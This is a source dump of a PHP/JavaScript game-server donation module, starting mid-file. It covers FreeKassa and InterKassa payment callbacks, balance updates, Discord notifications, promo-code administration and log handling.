    '+result.name+''); }else{ $('#profile').html(false);} } } }); }else{ $('#profile').html(false); } }); $('form').submit(function(event){ if($(this).attr('data-default')) { var del = $(this).attr('data-get'); event.preventDefault(); var mess; $.ajax({ type: $(this).attr('method'), url: window.location.href, data: new FormData(this), contentType: false, cache: false, processData: false, success: function(result){ mess = jQuery.parseJSON(result.trim()); if(mess.status) { if(mess.status == 'success') { setTimeout(function(){ if(del){ removeParam(del); }else{ window.location.reload(); } }, 4100); } note({ content: mess.text, type: mess.status, time: 4 }); } else if(mess.location) { window.location.href = mess.location; } else { $('#resultForm').html(mess.text); document.getElementById('punsh').click(); } } }); } }); document.addEventListener("click", removeElem("col-md-6", "data-del", "delete")); }); function removeElem(delElem, attribute, attributeName) { if (!(delElem && attribute && attributeName)) return; return function(e) { let target = e.target; if (!(target.hasAttribute(attribute) ? (target.getAttribute(attribute) === attributeName ? true : false) : false)) return; removeParam(target.getAttribute('data-get')); let elem = target; while (target != this) { if (target.classList.contains(delElem)) { target.remove(); return; } target = target.parentNode; } return; }; } function removeParam(key) { var splitUrl = window.location.href.split('?'), rtn = splitUrl[0], param, params_arr = [], queryString = (window.location.href.indexOf("?") !== -1) ? splitUrl[1] : ''; if (queryString !== '') { params_arr = queryString.split('&'); for (var i = params_arr.length - 1; i >= 0; i -= 1) { param = params_arr[i].split('=')[0]; if (param === key) { params_arr.splice(i, 1); } } rtn = rtn + '?' + params_arr.join('&'); } window.location.href = rtn; } !function(d) { "use strict"; Object.assign||Object.defineProperty(Object,"assign",{enumerable:!1,configurable:!0,writable:!0,value:function(e,r){"use strict";if(null==e)throw new TypeError("Cannot convert first argument to object");for(var t=Object(e),n=1;n= 0 && coords.left >= 0 && coords.bottom <= (window.innerHeight || d.documentElement.clientHeight) && coords.right <= (window.innerWidth || d.documentElement.clientWidth) ); }; var remove = function(el) { el = el || noteItem; el.setAttribute("data-show","false"); window.setTimeout(function() { el.remove(); }, 250); if(settings.callback) settings.callback(); // callback }; noteItemBtn.addEventListener("click", function() { remove(); }); window.setTimeout(function() { noteItem.setAttribute("data-show","true"); PlaySound('storage/assets/sounds/'+settings.type+'.mp3'); }, 250); if(!isVisible()) remove(noteBox.firstChild); window.setTimeout(remove, settings.time * 1000); }; }(document); ================================================ FILE: app/modules/disabled/module_page_lk_impulse/description.json ================================================ { "title": "LR WEB | LK - Personal Area", "info": "The ability to replenish the balance on the server", "author": "SAPSAN 隼", "page": "lk", "version": "0.4", "required": { "core":"0.2","php":"5.4" }, "setting": { "status": 1, "type": 1, "available_types": "1", "sessions": 0, "translation": 1, "interface": 1, "data": 1, "data_always": 0, "css": 1, "js": 1, "cache_enable": 0, "cache_time": 0 }, "sidebar": { "0": { "href": "?page=lk", "open_new_tab": "0", "icon_group": "money", "icon_category": null, "icon": "money", "name": "_LK", "sidebar_directory": "_Sidebar_blocks" }} } ================================================ FILE: app/modules/disabled/module_page_lk_impulse/ext/Basefunction.php ================================================ db = new Db; $this->Translate = new Translate; $this->Notifications = new Notifications( $this->Translate, $this->db ); $this->General = new General( $this->db ); $this->Router = new AltoRouter; empty( $this->General->arr_general['site'] ) && $this->General->arr_general['site'] = '//' . preg_replace('/^(https?:)?(\/\/)?(www\.)?/', '', $_SERVER['HTTP_REFERER']); $this->Modules = new Modules( $this->General, $this->Translate, $this->Notifications, $this->Router ); } /** * Фунция запроса проверяющий наличие и активности платежного шлюза. * * @param string $kassa Навание платежного шлюза. * @return bool false|true Возвращает результат проверки. */ public function BChekGateway($gateway){ $param = ['id' => $this->decod[0]]; $this->kassa = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_pay_service WHERE id = :id", $param); if(empty($this->kassa[0]['status'])){ $this->LkAddLog('_Foff', ['gateway' =>$gateway]); return false; }else return true; } /** * Фунция запроса проверяющий наличие платежа. * * @param string $gateway Навание платежного шлюза. * @return bool false|true Возвращает результат проверки. */ public function BCheckPay($gateway){ preg_match('/:[0-9]{1}:\d+/i', $this->decod[3], $auth); $params = [ 'order' => $this->decod[1], 'auth' => '%'.$auth[0].'%', ]; $this->pay = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_pays WHERE pay_order = :order AND pay_auth LIKE :auth AND pay_status = 0", $params); if(empty($this->pay)){ $this->LkAddLog('_PayNotExist', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse', '_AmountCourse'),'numberpay' => $this->decod[1], 'steam'=>$this->decod[3],'amount'=>$this->decod[2],'gateway' =>$gateway]); return false; }else return true; } /** * Фунция запроса проверяющий наличие игрока, при отсутствии добавляет в базу. */ public function BCheckPlayer(){ preg_match('/:[0-9]{1}:\d+/i', $this->decod[3], $auth); $param = ['auth'=>'%'.$auth[0].'%']; if($this->db->db_data['lk'][0]['mod'] == 1) $player = $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk WHERE auth LIKE :auth LIMIT 1", $param); else if($this->db->db_data['lk'][0]['mod'] == 2) $player = $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_system WHERE auth LIKE :auth LIMIT 1", $param); if(empty($player)){ $params = [ 'auth' => $this->decod[3], 'name' => 'LR WEB - LK MODULE BY SAPSAN' ]; if($this->db->db_data['lk'][0]['mod'] == 1) $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "INSERT INTO lk(auth, name, cash, all_cash) VALUES (:auth,:name,0,0)", $params); else if($this->db->db_data['lk'][0]['mod'] == 2) $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "INSERT INTO lk_system(auth, name, money, all_money) VALUES (:auth,:name,0,0)", $params); } } /** * Фунция запроса проверяющий наличие промокода. * * @param string $gateway Навание платежного шлюза. */ public function BCheckPromo($gateway){ $param = ['code' => $this->pay[0]['pay_promo']]; $promoCode = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_promocodes WHERE code = :code",$param); if(empty($promoCode)){ $this->summ = $this->decod[2]; } else{ $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "UPDATE lk_promocodes SET attempts = attempts - 1 WHERE code = :code",$param); $this->bonus = ($this->decod[2]/100)*$promoCode[0]['percent']; $this->summ = $this->bonus+$this->decod[2]; $this->LkAddLog('_SetPromo',['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse', '_AmountCourse'),'numberpay' => $this->decod[1], 'promocode'=>$this->pay[0]['pay_promo'],'amount'=>$this->bonus,'gateway' =>$gateway]); } } /** * Фунция запроса отправляющего уведомление в Discord канал. * * @param string $kassa Навание платежного шлюза. */ public function BNotificationDiscord($kassa){ $ds = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_discord"); if(!empty($ds[0]['auth'])){ $steam64 = con_steam32to64($this->decod[3]); $xml = file_get_contents('https://steamcommunity.com/profiles/'.$steam64.'/?xml=1'); $profile = simplexml_load_string($xml); if(strlen($profile->avatarMedium) > 0) { $json = json_encode([ "username" => (string)$profile->steamID, "avatar_url" => (string)$profile->avatarMedium, "file"=>"content", "embeds" => [ [ "title" => $this->General->arr_general['full_name'], "type" => "content", "url" => 'http:'.$this->General->arr_general['site'], "color" => hexdec( 'f5aa39' ), "thumbnail" => [ "url" => 'http:'.$this->General->arr_general['site']."app/modules/module_page_lk_impulse/assets/gateways_discord/".mb_strtolower($kassa).".png", ], "footer"=> [ "text"=>$this->General->arr_general['full_name'].' '.date('d.m.Y H:i:s'), "icon_url"=> 'http:'.$this->General->arr_general['site']."storage/cache/img/global/logo.png" ], "fields" => [ [ "name" => $this->Translate->get_translate_module_phrase('module_page_lk_impulse', '_Replenishment'), "value" => $this->decod[3], "inline" => true ], [ "name" => $this->Translate->get_translate_module_phrase('module_page_lk_impulse', '_Amount'), "value" => $this->decod[2], "inline" => false ] ] ] ] ]); } else { $json = json_encode([ "username" => "NO-STEAM PLAYER", "file"=>"content", "embeds" => [ [ "title" => $this->General->arr_general['full_name'], "type" => "content", "url" => 'http:'.$this->General->arr_general['site'], "color" => hexdec( 'f5aa39' ), "thumbnail" => [ "url" => 'http:'.$this->General->arr_general['site']."/app/modules/module_page_lk_impulse/assets/gateways_discord/".mb_strtolower($kassa).".png", ], "footer"=> [ "text"=>$this->General->arr_general['full_name'].' '.date('d.m.Y H:i:s'), "icon_url"=> 'http:'.$this->General->arr_general['site']."/storage/cache/img/global/logo.png" ], "fields" => [ [ "name" => $this->Translate->get_translate_module_phrase('module_page_lk_impulse', '_Replenishment'), "value" => $this->decod[3], "inline" => true ], [ "name" => $this->Translate->get_translate_module_phrase('module_page_lk_impulse', '_Amount'), "value" => $this->decod[2], "inline" => false ] ] ] ] ]); } $cl = curl_init($ds[0]['url']); curl_setopt($cl, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]); curl_setopt($cl, CURLOPT_POST, 1); curl_setopt($cl, CURLOPT_POSTFIELDS, $json); curl_exec($cl); } } /** * Фунция запроса обновления баланса игрока. * * @param string $steam Steam ID игрока к зачислению. * @param int $summ Сумма пополнения. */ public function BUpdateBalancePlayer($steam,$summ){ preg_match('/:[0-9]{1}:\d+/i', $steam, $auth); $params = [ 'auth' => '%'.$auth[0].'%', 'cash' => $this->summ, 'all_cash' => $summ, ]; if($this->db->db_data['lk'][0]['mod'] == 1) $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "UPDATE lk SET cash = cash + :cash, all_cash = all_cash + :all_cash WHERE auth LIKE :auth", $params); else if($this->db->db_data['lk'][0]['mod'] == 2) $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "UPDATE lk_system SET money = money + :cash, all_money = all_money + :all_cash WHERE auth LIKE :auth", $params); } /** * Фунция запроса обновления статуса платежа. */ public function BUpdatePay(){ $params = [ 'auth' => $this->decod[3], 'order' => $this->decod[1], ]; $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "UPDATE lk_pays SET pay_status = 1 WHERE pay_auth = :auth AND pay_order = :order", $params); } /** * Фунция декодирования хеша. * * @param string $string Хеш кодировки base64. * @param int $summ Сумма пополнения. * @return sting Возвращает результат декодирования. */ public function Decoder($string){ $decod = base64_decode(base64_decode($string)); return $decod; } /** * Фунция записи лога в базу данных. * * @param string $act Содержание лога. */ public function LkAddLog($act, $log_value = []){ $params = [ 'log_name' => date('d_m_Y'), 'log_value' => json_encode($log_value),//Формируем Json 'log_time' => date('_H:i:s: '), 'log_content' => $act ]; $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "INSERT INTO lk_logs(log_name, log_value, log_time, log_content) VALUES (:log_name,:log_value,:log_time,:log_content)",$params); } } ================================================ FILE: app/modules/disabled/module_page_lk_impulse/ext/Freekassa.php ================================================ getIP(), array( '168.119.157.136', '168.119.60.227', '138.201.88.124', '178.154.197.79', ))){ $this->LkAddLog('_DeniedIP', ['gateway' =>'FreeKassa', 'ip'=>$this->getIP()]); die('Request from Denied IP'); } } public function FKCheckSignature($post){ $us = $this->Decoder($post['us_sign']); $this->decod = explode(',', $us); $BChekGateway = $this->BChekGateway('FreeKassa'); if(empty($BChekGateway)) die('Gatewqy Freekassa not Exist.'); $sign = md5($this->kassa[0]['shop_id'] .':'.$post['AMOUNT'].':'.trim($this->kassa[0]['secret_key_2']).':'.$post['MERCHANT_ORDER_ID']); if($sign != $post['SIGN']){ $this->LkAddLog('_NOTSIGN', ['gateway'=>'FreeKassa']); die('Invalid digital signature.'); } } public function FKProcessPay($post){ $BCheckPay = $this->BCheckPay('FreeKassa'); if(empty($BCheckPay))die('Pay not found'); if($this->decod[2] != $post['AMOUNT']){ $this->LkAddLog('_NoValidSumm', ['gateway'=>'FreeKassa','amount' => $this->decod[2].'/'.$post['AMOUNT']]); die("Amount does't match"); } $this->BCheckPlayer(); $this->BCheckPromo('FreeKassa'); $this->BUpdateBalancePlayer($this->decod[3],$post['AMOUNT']); $this->BUpdatePay(); $this->BNotificationDiscord('FreeKassa'); $this->LkAddLog('_NewDonat', ['gateway'=>'FreeKassa','order'=>$this->decod[1], 'course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'), 'amount' => $this->decod[2], 'steam'=>$this->decod[3]]); $admins = $this->db->queryAll( 'Core', 0, 0, "SELECT * FROM lvl_web_admins WHERE flags = 'z' "); foreach( $admins as $key ){ $this->Notifications->SendNotification( con_steam64to32($key['steamid']), '_GetDonat', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['AMOUNT'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); } $this->Notifications->SendNotification( $this->decod[3], '_YouPay', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['AMOUNT'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); die('YES'); } protected function getIP(){ if(isset($_SERVER['HTTP_X_REAL_IP'])) return $_SERVER['HTTP_X_REAL_IP']; return $this->General->get_client_ip_cdn(); } } ================================================ FILE: app/modules/disabled/module_page_lk_impulse/ext/Interkassa.php ================================================ Decoder($post['ik_x_sign']); $this->decod = explode(',', $us); $BChekGateway = $this->BChekGateway('InterKassa'); if(empty($BChekGateway)) die('Gatewqy InterKassa not Exist.'); $dataSet = $post; unset($dataSet['ik_sign']); ksort($dataSet, SORT_STRING); array_push($dataSet, trim($this->kassa[0]['secret_key_2'])); $signString = implode(':', $dataSet); $sign = base64_encode(md5($signString, true)); if($sign != $post['ik_sign']){ $this->LkAddLog('_NOTSIGN', ['gateway'=>'InterKassa']); die('Invalid digital signature.'); } } public function IKProcessPay($post){ $BCheckPay = $this->BCheckPay('InterKassa'); if(empty($BCheckPay))die('Pay not found'); if($this->decod[2] != $post['ik_am']){ $this->LkAddLog('_NoValidSumm', ['gateway'=>'InterKassa','amount' => $this->decod[2].'/'.$post['ik_am']]); die("Amount does't match"); } $this->BCheckPlayer(); $this->BCheckPromo('InterKassa'); $this->BUpdateBalancePlayer($this->decod[3],$post['ik_am']); $this->BUpdatePay(); $this->BNotificationDiscord('InterKassa'); $this->LkAddLog('_NewDonat', ['gateway'=>'InterKassa','order'=>$this->decod[1], 'course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'), 'amount' => $this->decod[2], 'steam'=>$this->decod[3]]); $admins = $this->db->queryAll( 'Core', 0, 0, "SELECT * FROM lvl_web_admins WHERE flags = 'z' "); foreach( $admins as $key ){ $this->Notifications->SendNotification( con_steam64to32($key['steamid']), '_GetDonat', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['ik_am'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); } $this->Notifications->SendNotification( $this->decod[3], '_YouPay', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['ik_am'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); die('YES'); } } ================================================ FILE: app/modules/disabled/module_page_lk_impulse/ext/Lk_module.php ================================================ Modules = $Modules; $this->Translate = $Translate; $this->General = $General; $this->db = $Db; $this->Notifications = $Notifications; } public function LkBalancePlayer(){ if(isset($_SESSION['steamid32'])){ preg_match('/:[0-9]{1}:\d+/i', $_SESSION['steamid32'], $auth); $param = ['auth'=> '%'.$auth[0].'%']; if($this->db->db_data['lk'][0]['mod'] == 1) { $infoUser =$this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT cash FROM lk WHERE auth LIKE :auth LIMIT 1", $param); $cash = 'cash'; } else if($this->db->db_data['lk'][0]['mod'] == 2) { $infoUser =$this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT money FROM lk_system WHERE auth LIKE :auth LIMIT 1", $param); $cash = 'money'; } $this->Modules->set_user_info_text($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_Balance').': '.$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse').' '.number_format($infoUser[0][$cash],0,' ', ' ').''); } } public function LkAllDonats(){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; if($this->db->db_data['lk'][0]['mod'] == 1) $allDonat = $this->db->queryNum('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT SUM(all_cash) FROM lk"); else if($this->db->db_data['lk'][0]['mod'] == 2) $allDonat = $this->db->queryNum('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT SUM(all_money) FROM lk_system"); return number_format($allDonat[0],0,' ', ' '); } public function LkAllDonatsToPayGateway($system){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; $params = ['name' => $system]; $cashSYS = $this->db->queryNum('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT SUM(pay_summ) FROM lk_pays WHERE pay_system = :name AND pay_status = 1", $params); if(empty($cashSYS)) return false; return number_format($cashSYS[0],0,' ', ' '); } public function LkLogs(){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; $alllogs = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT DISTINCT log_name FROM lk_logs"); return array_reverse($alllogs); } public function LkLogContent($log){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; if(!preg_match('/^[0-9]{2}\_[0-9]{2}\_[0-9]{4}+$/i', $log)) return [0=>['log_name'=>$log ,'log_time'=>' ','log_content'=>'_Error']]; $param = ['log_name' => $log]; $contentLog = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_logs WHERE log_name = :log_name",$param); if(!empty($contentLog)) return $contentLog; else return [0=>['log_name'=>$log ,'log_time'=>' ','log_content'=>'_LogNotFound']]; } public function LkLogdelete($log){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; if(!preg_match('/^[0-9]{2}\_[0-9]{2}\_[0-9]{4}+$/i', $log)) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_Error'),'error'); $param = ['log_name' => $log]; $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "DELETE FROM lk_logs WHERE log_name = :log_name",$param); $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_LogDeleted'),'success'); } public function LkDownloadLog($log){ if(ini_get('zlib.output_compression')) ini_set('zlib.output_compression', 'Off'); if(preg_match('/^[0-9]{2}\_[0-9]{2}\_[0-9]{4}+$/i', $log)) { $param = ['log_name'=>$log]; $logs = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_logs WHERE log_name = :log_name",$param); $logFileHandle = fopen('storage/cache/sessions/'.$log.'.log', 'a'); foreach ($logs as $key) { fwrite($logFileHandle, $key['log_name'].$key['log_time'].LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse',$key['log_content']), json_decode(str_replace('[]','',$key['log_value']), true))."\r\n"); } fclose($logFileHandle); }else return false; if(empty($log))return false; else if(!file_exists('storage/cache/sessions/'.$log.'.log'))return false; header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private",false); header("Content-Type: storage/cache/sessions/"); header("Content-Disposition: attachment; filename=\"".basename($log.'.log')."\";" ); header("Content-Transfer-Encoding: binary"); header("Content-Length: ".filesize('storage/cache/sessions/'.$log.'.log')); readfile('storage/cache/sessions/'.$_POST['log_download'].'.log'); unlink('storage/cache/sessions/'.$log.'.log'); exit(); } public function LkPromocodes(){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; $allcodes = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_promocodes"); return $allcodes; } public function LkPromoCode($id){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; $param = ['id'=>$id]; $code = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_promocodes WHERE id = :id",$param); return $code; } public function LkDiscordData(){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; $DiscordData = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_discord"); return $DiscordData[0]; } public function LkGetAllGateways(){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; $allGateways = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_pay_service"); return $allGateways; } public function LkGetGateway($gateway){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; $param = ['id' => $this->LkConvertGatewayId($gateway)]; $Gateway = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_pay_service WHERE id = :id",$param); return $Gateway; } public function LkGetGatewaysOn(){ $allKass = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT id, name_kassa FROM lk_pay_service WHERE status = 1"); return $allKass; } public function LkGetGatewayOn($gateway){ $param = ['id' => $this->LkConvertGatewayId($gateway)]; $gatewayExist = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_pay_service WHERE status = 1 AND id = :id",$param); return $gatewayExist; } public function LkGetUserData($user){ if(!preg_match('/^STEAM_[0-9]{1,2}:[0-1]:\d+$/',$user)) return false; $param = ['auth' => $user]; if($this->db->db_data['lk'][0]['mod'] == 1) $userdata = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk WHERE auth = :auth",$param); else if($this->db->db_data['lk'][0]['mod'] == 2) $userdata = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_system WHERE auth = :auth",$param); return $userdata; } public function LkGetUserPays($user){ if(!preg_match('/^STEAM_[0-9]{1,2}:[0-1]:\d+$/',$user)) return false; $param = ['auth' => $user]; $userdata = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_pays WHERE pay_auth = :auth ORDER BY pay_id DESC",$param); return $userdata; } public function LkGetAllPays(){ $pays = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_pays ORDER BY pay_id DESC"); return $pays; } public function LkGetAllPlayers($min, $max){ if($this->db->db_data['lk'][0]['mod'] == 1) return $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk ORDER BY all_cash DESC LIMIT $min, $max"); else if($this->db->db_data['lk'][0]['mod'] == 2) return $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_system ORDER BY all_money DESC LIMIT $min, $max"); } public function UsersPageMax($max){ $param = ['max'=>$max]; if($this->db->db_data['lk'][0]['mod'] == 1) return ceil($this->db->queryNum('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT COUNT(*) FROM lk")[0]/$max); else if($this->db->db_data['lk'][0]['mod'] == 2) return ceil($this->db->queryNum('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT COUNT(*) FROM lk_system")[0]/$max); } public function LkUsagePromo($promo){ if(!preg_match('/^[A-z-0-9]{5,15}$/', $promo)) return false; $param = ['pay_promo' => $promo]; $promoData = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_pays WHERE pay_promo = :pay_promo AND pay_status = 1 ORDER BY pay_id DESC", $param); return $promoData; } public function LkAddPromocode($post){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; if(empty($post['addpromo'])) $promo = substr(str_shuffle('1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, rand(5,15)); else $promo = $post['addpromo']; if(!preg_match('/^[A-z-0-9]{5,15}$/', $promo)) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_ErrorNamePromo'),'error'); else if(empty($post['limit'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_LimitPromo'),'error'); else if(!preg_match('/^\d+$/', $post['limit'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_LimitField'),'error'); else if(empty($post['bonuspecent'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_EnterBonus'),'error'); else if(!preg_match('/^[0-9\.]+$/', $post['bonuspecent'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_NotCorBonus'),'error'); $param = ['code' => $promo]; $expromo = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT code FROM lk_promocodes WHERE code = :code", $param); if(!empty($expromo)) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_ExistPromo'),'error'); if(empty($post['status'])) $auth = 0; else $auth = 1; $params = [ 'code'=>$promo, 'attempts'=>$post['limit'], 'percent'=>$post['bonuspecent'], 'auth'=>$auth ]; $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "INSERT INTO lk_promocodes(code, percent, attempts, auth1) VALUES(:code, :percent, :attempts, :auth)",$params); $this->message(LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AddedPromo'),['namepromo'=>$promo]),'success'); } public function LkEditPromocode($post){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; if(empty($post['editid'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_Error'),'error'); else if(!preg_match('/^\d+$/',$post['editid'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_Error'),'error'); else if(empty($post['editpromo'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_EditPromoName'),'error'); else if(!preg_match('/^[A-z-0-9]{5,15}$/', $post['editpromo'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_ErrorNamePromo'),'error'); else if(empty($post['editlimit'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_LimitPromo'),'error'); else if(!preg_match('/^\d+$/', $post['editlimit'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_LimitField'),'error'); else if(empty($post['editbonuspecent'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_EnterBonus'),'error'); else if(!preg_match('/^[0-9\.]+$/', $post['editbonuspecent'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_NotCorBonus'),'error'); else if(empty($post['status'])) $auth = 0; else $auth = 1; $param = ['id' => $post['editid']]; $expromo =$this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT id FROM lk_promocodes WHERE id = :id",$param); if(empty($expromo)) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_Error'),'error'); $params = [ 'id'=>$post['editid'], 'code'=>$post['editpromo'], 'attempts'=>$post['editlimit'], 'percent'=>$post['editbonuspecent'], 'auth'=>$auth ]; $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "UPDATE lk_promocodes SET code=:code, percent=:percent, attempts=:attempts, auth1=:auth WHERE id=:id", $params); $this->message(LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_EditedPromo'),['namepromo'=>$post['editpromo']]),'success'); } public function LkDeletePromocode($post){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; if(empty($post['promocode_delete'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_Error'),'error'); else if(!preg_match('/^\d+$/',$post['promocode_delete'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_Error'),'error'); $param = ['id' => $post['promocode_delete']]; $expromo =$this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_promocodes WHERE id = :id",$param); 